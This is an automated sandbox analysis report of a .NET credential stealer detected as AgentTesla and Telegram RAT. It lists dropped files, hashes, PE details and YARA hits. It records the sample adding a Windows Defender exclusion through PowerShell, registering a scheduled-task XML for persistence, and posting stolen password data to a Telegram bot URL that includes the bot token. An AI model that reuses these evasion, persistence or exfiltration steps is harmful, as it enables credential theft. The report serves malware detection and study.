                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d33zcqbc.wco.ps1

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:very short file (no magic)
                                                  Category:dropped
                                                  Size (bytes):1
                                                  Entropy (8bit):0.0
                                                  Encrypted:false
                                                  SSDEEP:3:U:U
                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                  Malicious:false
                                                  Preview:1

                                                  C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gzbpsrc1.yqu.psm1

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:very short file (no magic)
                                                  Category:dropped
                                                  Size (bytes):1
                                                  Entropy (8bit):0.0
                                                  Encrypted:false
                                                  SSDEEP:3:U:U
                                                  MD5:C4CA4238A0B923820DCC509A6F75849B
                                                  SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                  SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                  SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                  Malicious:false
                                                  Preview:1

                                                  C:\Users\user\AppData\Local\Temp\tmpCB43.tmp

                                                  Download File
                                                  Process:C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                                                  File Type:XML 1.0 document, ASCII text
                                                  Category:dropped
                                                  Size (bytes):1596
                                                  Entropy (8bit):5.134924908448168
                                                  Encrypted:false
                                                  SSDEEP:24:2di4+S2qh/S1KTy1moCUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaVaxvn:cgeKwYrFdOFzOzN33ODOiDdKrsuTTv
                                                  MD5:6F36C2CF6A288D4CB2690B9D13E15891
                                                  SHA1:D66864469FEF66B89B912C91DCEC93D1E5943049
                                                  SHA-256:DC19EAC109B6092AE8F7B9E8C0F0C06F49669D7408A7A2C9C9C6BB1E7156175F
                                                  SHA-512:88674385C5D92AEF4A8B334FBACEAAD55D6C071FBBFA4A962F48F7FCACEE1D9A13C6CA1FAAAC9EF642B4C76C033C8CDE2EC801F291CCBF5D38AB00D047EF294E
                                                  Malicious:true
                                                  Preview:<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>computer\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>computer\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>computer\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <

                                                  C:\Users\user\AppData\Roaming\HksvOcmoc.exe

                                                  Download File
                                                  Process:C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                                                  File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                  Category:dropped
                                                  Size (bytes):886272
                                                  Entropy (8bit):7.566668421486731
                                                  Encrypted:false
                                                  SSDEEP:12288:j0pGjZ16ryOpqfE5Cg0iAgCBBKWcZL/Z7W3bFqrdlBgo0iVSJj1sGVJt1q0j:gpGjmpaE4gN2BXcZR7+IrFgRj1bVF
                                                  MD5:ADEC785F7CBAA5AF9C8C7FA50CF91BAA
                                                  SHA1:D55FC2F774A1728526A753284E350AEA08E3B17D
                                                  SHA-256:FB6EB7EFDF26E5F8EAAB963DAB6A7FB808724A4288D4DF1FB8F146E13471E53D
                                                  SHA-512:FF0AFC52A2B2D18B16AE6DFE480966AF0B372C39B8C2738315DBAB03ADBFF0BED2F4C358ACAA09296D40A83C77BE8ED49FD82F1B0DA216353581B62EA18BE203
                                                  Malicious:true
                                                  Antivirus:
                                                  • Antivirus: ReversingLabs, Detection: 30%
                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....b..............0.............^.... ........@.. ....................................@.....................................K.......X............................................................................ ............... ..H............text...d.... ...................... ..`.rsrc...X...........................@..@.reloc..............................@..B................@.......H........%...z............. Y...........................................0../.......(....8.....(....8....*.....%..}......}....8......0............{.........8......*8....8.......0..y.......8........E........8.......}....8........8.....*..9....8.....8.... ....(....9....&8.......{....:.....8.....{....}....8........0..........8....8....8......*..(......8......(......8......&~.......*...~....*..(....8......}....8.....(....8.......(....8.....*...N..o....(....&8....*.0..........8P..

                                                  C:\Users\user\AppData\Roaming\HksvOcmoc.exe:Zone.Identifier

                                                  Download File
                                                  Process:C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                                                  File Type:ASCII text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):26
                                                  Entropy (8bit):3.95006375643621
                                                  Encrypted:false
                                                  SSDEEP:3:ggPYV:rPYV
                                                  MD5:187F488E27DB4AF347237FE461A079AD
                                                  SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                  SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                  SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                  Malicious:false
                                                  Preview:[ZoneTransfer]....ZoneId=0

                                                  C:\Users\user\Documents\20220527\PowerShell_transcript.347688.Wnxtck4i.20220527205009.txt

                                                  Download File
                                                  Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  File Type:UTF-8 Unicode (with BOM) text, with CRLF line terminators
                                                  Category:dropped
                                                  Size (bytes):5785
                                                  Entropy (8bit):5.403825327740831
                                                  Encrypted:false
                                                  SSDEEP:96:BZJj8NJqDo1ZcZzj8NJqDo1Z5dvVjZCj8NJqDo1ZCMllAZX:x
                                                  MD5:8C9B86A68DE92A5286D498CBE35D068A
                                                  SHA1:F83313410A342E0780FABE083B3960A8DDD73635
                                                  SHA-256:C7B4FFE6FECD86389C2D31A208DC8D47542E3C09D34E357F7DD1A096E3DD6B56
                                                  SHA-512:6266FB9316CC39D846E6069706E072E075312C157CF7E46EA226D6EDF5678C53D4C9C046617D3090D00760B918917AD1961DBBF0232D2B16F75121973B2AE537
                                                  Malicious:false
                                                  Preview:.**********************..Windows PowerShell transcript start..Start time: 20220527205011..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 347688 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\HksvOcmoc.exe..Process ID: 6688..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..**********************..**********************..Command start time: 20220527205011..**********************..PS>Add-MpPreference -ExclusionPath C:\Users\user\AppData\Roaming\HksvOcmoc.exe..**********************..Windows PowerShell transcript start..Start time: 20220527205404..Username: computer\user..RunAs User: computer\user.

                                                  Static File Info

                                                  General

                                                  File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                  Entropy (8bit):7.566668421486731
                                                  TrID:
                                                  • Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                                                  • Win32 Executable (generic) a (10002005/4) 49.78%
                                                  • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                  • Generic Win/DOS Executable (2004/3) 0.01%
                                                  • DOS Executable Generic (2002/1) 0.01%
                                                  File name:SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                                                  File size:886272
                                                  MD5:adec785f7cbaa5af9c8c7fa50cf91baa
                                                  SHA1:d55fc2f774a1728526a753284e350aea08e3b17d
                                                  SHA256:fb6eb7efdf26e5f8eaab963dab6a7fb808724a4288d4df1fb8f146e13471e53d
                                                  SHA512:ff0afc52a2b2d18b16ae6dfe480966af0b372c39b8c2738315dbab03adbff0bed2f4c358acaa09296d40a83c77be8ed49fd82f1b0da216353581b62ea18be203
                                                  SSDEEP:12288:j0pGjZ16ryOpqfE5Cg0iAgCBBKWcZL/Z7W3bFqrdlBgo0iVSJj1sGVJt1q0j:gpGjmpaE4gN2BXcZR7+IrFgRj1bVF
                                                  TLSH:B715C02876574E01C09D0BFE84C3642407E99E867865FB839D45BAD22B727D85FCBB83
                                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......b..............0.............^.... ........@.. ....................................@................................

                                                  File Icon

                                                  Icon Hash:0b1b233b332b2b2b

                                                  Static PE Info

                                                  General

                                                  Entrypoint:0x4bfc5e
                                                  Entrypoint Section:.text
                                                  Digitally signed:false
                                                  Imagebase:0x400000
                                                  Subsystem:windows gui
                                                  Image File Characteristics:LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
                                                  DLL Characteristics:NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                                                  Time Stamp:0x6290DBB9 [Fri May 27 14:10:01 2022 UTC]
                                                  TLS Callbacks:
                                                  CLR (.Net) Version:v4.0.30319
                                                  OS Version Major:4
                                                  OS Version Minor:0
                                                  File Version Major:4
                                                  File Version Minor:0
                                                  Subsystem Version Major:4
                                                  Subsystem Version Minor:0
                                                  Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                  Entrypoint Preview

                                                  Instruction
                                                  jmp dword ptr [00402000h]
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al
                                                  add byte ptr [eax], al

                                                  Data Directories

                                                  NameVirtual AddressVirtual Size Is in Section
                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0xbfc100x4b.text
                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0xc00000x1a358.rsrc
                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0xdc0000xc.reloc
                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0xbfbcc0x1c.text
                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                  Sections

                                                  NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                  .text0x20000xbdc640xbde00False0.88429245186data7.75075398615IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                                                  .rsrc0xc00000x1a3580x1a400False0.156454613095data4.28258053659IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                  .reloc0xdc0000xc0x200False0.044921875data0.101910425663IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                  Resources

                                                  NameRVASizeTypeLanguageCountry
                                                  RT_ICON0xc01900x94a8data
                                                  RT_ICON0xc96380x10828data
                                                  RT_GROUP_ICON0xd9e600x22data
                                                  RT_GROUP_ICON0xd9e840x14data
                                                  RT_VERSION0xd9e980x2d4data
                                                  RT_MANIFEST0xda16c0x1eaXML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

                                                  Imports

                                                  DLLImport
                                                  mscoree.dll_CorExeMain

                                                  Version Infos

                                                  DescriptionData
                                                  Translation0x0000 0x04b0
                                                  LegalCopyright
                                                  Assembly Version1.0.0.0
                                                  InternalNamePARAMD.exe
                                                  FileVersion1.0.0.0
                                                  CompanyName
                                                  LegalTrademarks
                                                  Comments
                                                  ProductName
                                                  ProductVersion1.0.0.0
                                                  FileDescription
                                                  OriginalFilenamePARAMD.exe

                                                  Network Behavior

                                                  Network Port Distribution

                                                  TCP Packets

                                                  TimestampSource PortDest PortSource IPDest IP
                                                  May 27, 2022 20:50:47.403879881 CEST49764443192.168.2.4149.154.167.220
                                                  May 27, 2022 20:50:47.403924942 CEST44349764149.154.167.220192.168.2.4
                                                  May 27, 2022 20:50:47.404026031 CEST49764443192.168.2.4149.154.167.220
                                                  May 27, 2022 20:50:47.504790068 CEST49764443192.168.2.4149.154.167.220
                                                  May 27, 2022 20:50:47.504827023 CEST44349764149.154.167.220192.168.2.4
                                                  May 27, 2022 20:50:47.572382927 CEST44349764149.154.167.220192.168.2.4
                                                  May 27, 2022 20:50:47.572501898 CEST49764443192.168.2.4149.154.167.220
                                                  May 27, 2022 20:50:47.577042103 CEST49764443192.168.2.4149.154.167.220
                                                  May 27, 2022 20:50:47.577081919 CEST44349764149.154.167.220192.168.2.4
                                                  May 27, 2022 20:50:47.577377081 CEST44349764149.154.167.220192.168.2.4
                                                  May 27, 2022 20:50:47.710206985 CEST49764443192.168.2.4149.154.167.220
                                                  May 27, 2022 20:50:49.022193909 CEST49764443192.168.2.4149.154.167.220
                                                  May 27, 2022 20:50:49.049877882 CEST44349764149.154.167.220192.168.2.4
                                                  May 27, 2022 20:50:49.056047916 CEST49764443192.168.2.4149.154.167.220
                                                  May 27, 2022 20:50:49.096498966 CEST44349764149.154.167.220192.168.2.4
                                                  May 27, 2022 20:50:49.180016994 CEST44349764149.154.167.220192.168.2.4
                                                  May 27, 2022 20:50:49.180107117 CEST44349764149.154.167.220192.168.2.4
                                                  May 27, 2022 20:50:49.180901051 CEST49764443192.168.2.4149.154.167.220
                                                  May 27, 2022 20:50:49.181226969 CEST49764443192.168.2.4149.154.167.220

                                                  UDP Packets

                                                  TimestampSource PortDest PortSource IPDest IP
                                                  May 27, 2022 20:50:47.337369919 CEST5650953192.168.2.48.8.8.8
                                                  May 27, 2022 20:50:47.356251001 CEST53565098.8.8.8192.168.2.4

                                                  DNS Queries

                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                  May 27, 2022 20:50:47.337369919 CEST192.168.2.48.8.8.80xc38eStandard query (0)api.telegram.orgA (IP address)IN (0x0001)

                                                  DNS Answers

                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                  May 27, 2022 20:50:47.356251001 CEST8.8.8.8192.168.2.40xc38eNo error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)

                                                  HTTP Request Dependency Graph

                                                  • api.telegram.org

                                                  HTTPS Proxied Packets

                                                  Session IDSource IPSource PortDestination IPDestination PortProcess
                                                  0192.168.2.449764149.154.167.220443C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                                                  TimestampkBytes transferredDirectionData
                                                  2022-05-27 18:50:49 UTC0OUTPOST /bot5279079600:AAH3TUQchNyBBlwuTxWo12fRiywroON6BJo/sendDocument HTTP/1.1
                                                  Content-Type: multipart/form-data; boundary=---------------------------8da40272c67fce7
                                                  Host: api.telegram.org
                                                  Content-Length: 993
                                                  Expect: 100-continue
                                                  Connection: Keep-Alive
                                                  2022-05-27 18:50:49 UTC0INHTTP/1.1 100 Continue
                                                  2022-05-27 18:50:49 UTC0OUTData Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 34 30 32 37 32 63 36 37 66 63 65 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 35 33 36 35 31 36 36 36 34 35 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 34 30 32 37 32 63 36 37 66 63 65 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 55 73 65 72 20 4e 61 6d 65 3a 20 6a 6f 6e 65 73 2f 33 34 37 36 38 38 0a 4f 53 46 75 6c 6c
                                                  Data Ascii: -----------------------------8da40272c67fce7Content-Disposition: form-data; name="chat_id"5365166645-----------------------------8da40272c67fce7Content-Disposition: form-data; name="caption"New PW Recovered!User Name: user/347688OSFull
                                                  2022-05-27 18:50:49 UTC1INHTTP/1.1 200 OK
                                                  Server: nginx/1.18.0
                                                  Date: Fri, 27 May 2022 18:50:49 GMT
                                                  Content-Type: application/json
                                                  Content-Length: 633
                                                  Connection: close
                                                  Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                  Access-Control-Allow-Origin: *
                                                  Access-Control-Allow-Methods: GET, POST, OPTIONS
                                                  Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                  {"ok":true,"result":{"message_id":319,"from":{"id":5279079600,"is_bot":true,"first_name":"Linny","username":"linn98_bot"},"chat":{"id":5365166645,"first_name":"Lingard","last_name":"Lynny","username":"lingardlynny","type":"private"},"date":1653677449,"document":{"file_name":"user-347688 2022-05-27 09-22-09.html","mime_type":"text/html","file_id":"BQACAgQAAxkDAAIBP2KRHYlbxwXmQOy711P1s1ORLFN3AAIVCwACF0eJUBAf65j0CTMRJAQ","file_unique_id":"AgADFQsAAhdHiVA","file_size":423},"caption":"New PW Recovered!\n\nUser Name: user/347688\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB"}}


                                                  Statistics

                                                  Behavior

                                                  Click to jump to process

                                                  System Behavior

                                                  General

                                                  Target ID:0
                                                  Start time:20:49:40
                                                  Start date:27/05/2022
                                                  Path:C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:"C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe"
                                                  Imagebase:0x1f0000
                                                  File size:886272 bytes
                                                  MD5 hash:ADEC785F7CBAA5AF9C8C7FA50CF91BAA
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:.Net C# or VB.NET
                                                  Yara matches:
                                                  • Rule: MALWARE_Win_zgRAT, Description: Detects zgRAT, Source: 00000000.00000002.352372028.0000000007080000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                  • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.346224005.0000000002864000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.344442888.000000000260D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.346406018.00000000035A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.346406018.00000000035A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                  Reputation:low

                                                  General

                                                  Target ID:9
                                                  Start time:20:50:07
                                                  Start date:27/05/2022
                                                  Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HksvOcmoc.exe
                                                  Imagebase:0x12b0000
                                                  File size:430592 bytes
                                                  MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:.Net C# or VB.NET
                                                  Reputation:high

                                                  General

                                                  Target ID:10
                                                  Start time:20:50:08
                                                  Start date:27/05/2022
                                                  Path:C:\Windows\System32\conhost.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  Imagebase:0x7ff647620000
                                                  File size:625664 bytes
                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high

                                                  General

                                                  Target ID:12
                                                  Start time:20:50:10
                                                  Start date:27/05/2022
                                                  Path:C:\Windows\SysWOW64\schtasks.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HksvOcmoc" /XML "C:\Users\user\AppData\Local\Temp\tmpCB43.tmp
                                                  Imagebase:0xa90000
                                                  File size:185856 bytes
                                                  MD5 hash:15FF7D8324231381BAD48A052F85DF04
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high

                                                  General

                                                  Target ID:14
                                                  Start time:20:50:11
                                                  Start date:27/05/2022
                                                  Path:C:\Windows\System32\conhost.exe
                                                  Wow64 process (32bit):false
                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  Imagebase:0x7ff647620000
                                                  File size:625664 bytes
                                                  MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:C, C++ or other language
                                                  Reputation:high

                                                  General

                                                  Target ID:15
                                                  Start time:20:50:12
                                                  Start date:27/05/2022
                                                  Path:C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                                                  Wow64 process (32bit):true
                                                  Commandline:C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                                                  Imagebase:0xa40000
                                                  File size:886272 bytes
                                                  MD5 hash:ADEC785F7CBAA5AF9C8C7FA50CF91BAA
                                                  Has elevated privileges:true
                                                  Has administrator privileges:true
                                                  Programmed in:.Net C# or VB.NET
                                                  Yara matches:
                                                  • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000000.337227939.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000F.00000000.337227939.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.527278934.0000000002F81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000000.338699898.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000F.00000000.338699898.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000000.327062889.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000F.00000000.327062889.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.521016859.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000F.00000002.521016859.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000000.338146222.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                  • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 0000000F.00000000.338146222.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                  Reputation:low

                                                  Disassembly

                                                  ⊘No disassembly